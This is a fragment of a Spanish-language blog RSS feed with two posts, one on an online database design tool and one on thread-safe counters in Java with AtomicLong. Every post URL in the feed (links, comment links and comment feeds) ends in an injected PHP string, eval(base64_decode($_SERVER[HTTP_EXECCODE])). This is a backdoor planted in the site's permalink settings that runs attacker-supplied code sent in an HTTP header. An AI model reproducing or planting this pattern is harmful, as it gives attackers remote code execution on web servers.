			<content:encoded><![CDATA[<p>Hurgando en la red en busca de hostings, se me ocurrió darme un paseo por el <a title="Google App Engine" href="http://code.google.com/intl/es-ES/appengine/" target="_blank">Google App Engine</a>, y aunque no tengo ninguna intención de poner una aplicación ahí, tuve curiosidad por ver su <a title="Galería de Google App Engine" href="http://appgallery.appspot.com/" target="_blank">galería de aplicaciones</a>&#8230; y  me encontré el <a title="GAE SQL Designer" href="http://gaesql.appspot.com/" target="_blank">GAE SQL Designer</a>, que no es otra cosa que un editor visual de bases de datos online, que además genera scripts para MySQL y MSSQL, entre otros; visto por arribita me pareció muy bueno, así que le dedicaré un rato, a ver si sirve para trabajar.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.dimeder.com/2009/01/28/disenando-bases-de-datos-online/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Incrementos Thread-Safe</title>
		<link>http://blog.dimeder.com/2008/12/21/incrementos-thread-safe/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.dimeder.com/2008/12/21/incrementos-thread-safe/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 21 Dec 2008 20:13:02 +0000</pubDate>
		<dc:creator>Miguel Angel Iglesias</dc:creator>
		
		<category><![CDATA[Java]]></category>

		<category><![CDATA[Programación]]></category>

		<guid isPermaLink="false">http://dimeder.com/blog/?p=157</guid>
		<description><![CDATA[En estos días comencé a leer Java Concurrecy in Practice y ya en las primeras páginas del libro he detectado errores en él código que llevo escrito para el proyecto.
Resulta que por cada mensaje que envío al server debo mandar un consecutivo, para ello tenía un static long, que sencilla e ingenuamente incrementaba cada vez [...]]]></description>
			<content:encoded><![CDATA[<p>En estos días comencé a leer <a title="Java Concurrecy in Practice" href="http://www.amazon.com/Java-Concurrency-Practice-Brian-Goetz/dp/0321349601/ref=pd_bbs_sr_1?ie=UTF8&amp;s=books&amp;qid=1229889291&amp;sr=8-1" target="_blank">Java Concurrecy in Practice</a> y ya en las primeras páginas del libro he detectado errores en él código que llevo escrito para el proyecto.</p>
<p>Resulta que por cada mensaje que envío al server debo mandar un consecutivo, para ello tenía un static long, que sencilla e ingenuamente incrementaba cada vez que había una petición. Pues bien, esta operación es altamente peligrosa en un entorno de concurrencia, como lo es un servlet, debido a que la operación de incrementar un entero no es una operación atómica, osea que se constituye de 3 pasos:</p>
<ol>
<li>Leer el valor del long</li>
<li>Incrementar el valor</li>
<li>escribir el nuevo valor</li>
</ol>
<p>Y evidentemente mientras se está en alguno de esos pasos otro hilo puede comenzar la operación crear una &#8220;race condition&#8221;, es decir que dos hilos o más  compiten por incrementar y escribir el nuevo valor, por desgracia sea quien sea quien gane esa carrera solo habrá un verdadero perdedor: Nuestro sistema.</p>
<p>Por supuesto que se puede usar el synchronized(que es lo que suelo hacer), pero en el libro este leí que entre las bibliotecas de java ya hay una solución empaquetada: los AtomicXXX, en nuestro caso: AtomicLong y su metodo: AtomicLong::incrementAndGet(), el cual hace que la operacion de incrementar sí sea atómica, y por tanto Thread-safe.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.dimeder.com/2008/12/21/incrementos-thread-safe/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
